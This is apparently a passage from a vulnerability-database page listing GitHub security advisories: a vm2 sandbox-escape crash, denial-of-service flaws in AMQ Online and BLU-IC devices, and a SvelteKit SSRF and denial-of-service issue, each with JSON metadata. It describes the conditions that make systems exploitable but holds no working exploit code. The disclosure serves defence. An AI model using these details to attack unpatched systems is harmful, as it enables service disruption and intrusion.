`allowAsync: false` only blocks `async`/`await` syntax and `.then()`/`.catch()` method calls \u2014 the `Promise` constructor itself still executes, and the unhandled rejection still propagates. In fact, `allowAsync: false` makes the vulnerability *worse* because `.catch()` is blocked, guaranteeing the rejection is always unhandled.",
  "id": "GHSA-hw58-p9xv-2mjh",
  "modified": "2026-05-14T20:36:40Z",
  "published": "2026-05-07T04:10:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44001"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-99p7-6v5w-7xg8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)"
}

GHSA-HXJ4-CVX4-5VG6

Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-04-04 03:03
VLAI
Details

It was found in AMQ Online before 1.5.2 that injecting an invalid field to a user's AddressSpace configuration of the user namespace puts AMQ Online in an inconsistent state, where the AMQ Online components do not operate properly, such as the failure of provisioning and the failure of creating addresses, though this does not impact upon already existing messaging clients or brokers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-14348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-16T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "It was found in AMQ Online before 1.5.2 that injecting an invalid field to a user\u0027s AddressSpace configuration of the user namespace puts AMQ Online in an inconsistent state, where the AMQ Online components do not operate properly, such as the failure of provisioning and the failure of creating addresses, though this does not impact upon already existing messaging clients or brokers.",
  "id": "GHSA-hxj4-cvx4-5vg6",
  "modified": "2024-04-04T03:03:13Z",
  "published": "2022-05-24T17:28:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14348"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1861814"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J24Q-5P96-5G77

Vulnerability from github – Published: 2025-10-28 21:30 – Updated: 2025-11-07 15:31
VLAI
Details

Protocol manipulation might lead to denial of service.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-28T19:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "Protocol manipulation might lead to denial of service.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 .",
  "id": "GHSA-j24q-5p96-5g77",
  "modified": "2025-11-07T15:31:26Z",
  "published": "2025-10-28T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12423"
    },
    {
      "type": "WEB",
      "url": "https://azure-access.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J62C-4X62-9R35

Vulnerability from github – Published: 2026-01-15 18:09 – Updated: 2026-01-15 22:33
VLAI
Summary
SvelteKit is vulnerable to denial of service and possible SSRF when using prerendering
Details

Summary

Versions of SvelteKit are vulnerable to a server side request forgery (SSRF) and denial of service (DoS) under certain conditions.

Details

Affected versions from 2.44.0 onwards are vulnerable to DoS if:

  • your app has at least one prerendered route (export const prerender = true)

Affected versions from 2.19.0 onwards are vulnerable to DoS and SSRF if:

  • your app has at least one prerendered route (export const prerender = true)
  • AND you are using adapter-node without a configured ORIGIN environment variable, and you are not using a reverse proxy that implements Host header validation

Impact

The DoS causes the running server process to end.

The SSRF allows access to internal services that can be reached without authentication when fetched from SvelteKit's server runtime.

It is also possible to obtain an SXSS via cache poisoning, by forcing a potential CDN to cache an XSS returned by the attacker's server (the latter being able to specify the cache-control of their choice).

Credits

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.49.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@sveltejs/kit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.49.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.5.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@sveltejs/adapter-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.1"
            },
            {
              "fixed": "5.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-400",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T18:09:59Z",
    "nvd_published_at": "2026-01-15T19:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nVersions of SvelteKit are vulnerable to a server side request forgery (SSRF) and denial of service (DoS) under certain conditions.\n\n### Details\n\nAffected versions from 2.44.0 onwards are vulnerable to DoS if:\n\n- your app has at least one prerendered route (`export const prerender = true`)\n\nAffected versions from 2.19.0 onwards are vulnerable to DoS and SSRF if:\n\n- your app has at least one prerendered route (`export const prerender = true`)\n- AND you are using `adapter-node` without a configured `ORIGIN` environment variable, and you are not using a reverse proxy that implements Host header validation\n\n### Impact\n\nThe DoS causes the running server process to end.\n\nThe SSRF allows access to internal services that can be reached without authentication when fetched from SvelteKit\u0027s server runtime.\n\nIt is also possible to obtain an SXSS via cache poisoning, by forcing a potential CDN to cache an XSS returned by the attacker\u0027s server (the latter being able to specify the cache-control of their choice).\n\n### Credits\n- Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/))\n- Allam Yasser (inzo)\n- d-xuan ([wednesday](https://d-xuan.github.io/wednesday/))",
  "id": "GHSA-j62c-4x62-9r35",
  "modified": "2026-01-15T22:33:31Z",
  "published": "2026-01-15T18:09:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/kit/security/advisories/GHSA-j62c-4x62-9r35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67647"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/kit/commit/d9ae9b00b14f5574d109f3fd548f960594346226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/kit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/kit/releases/tag/%40sveltejs%2Fadapter-node%405.5.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/kit/releases/tag/%40sveltejs%2Fkit%402.49.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SvelteKit is vulnerable to denial of service and possible SSRF when using prerendering"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.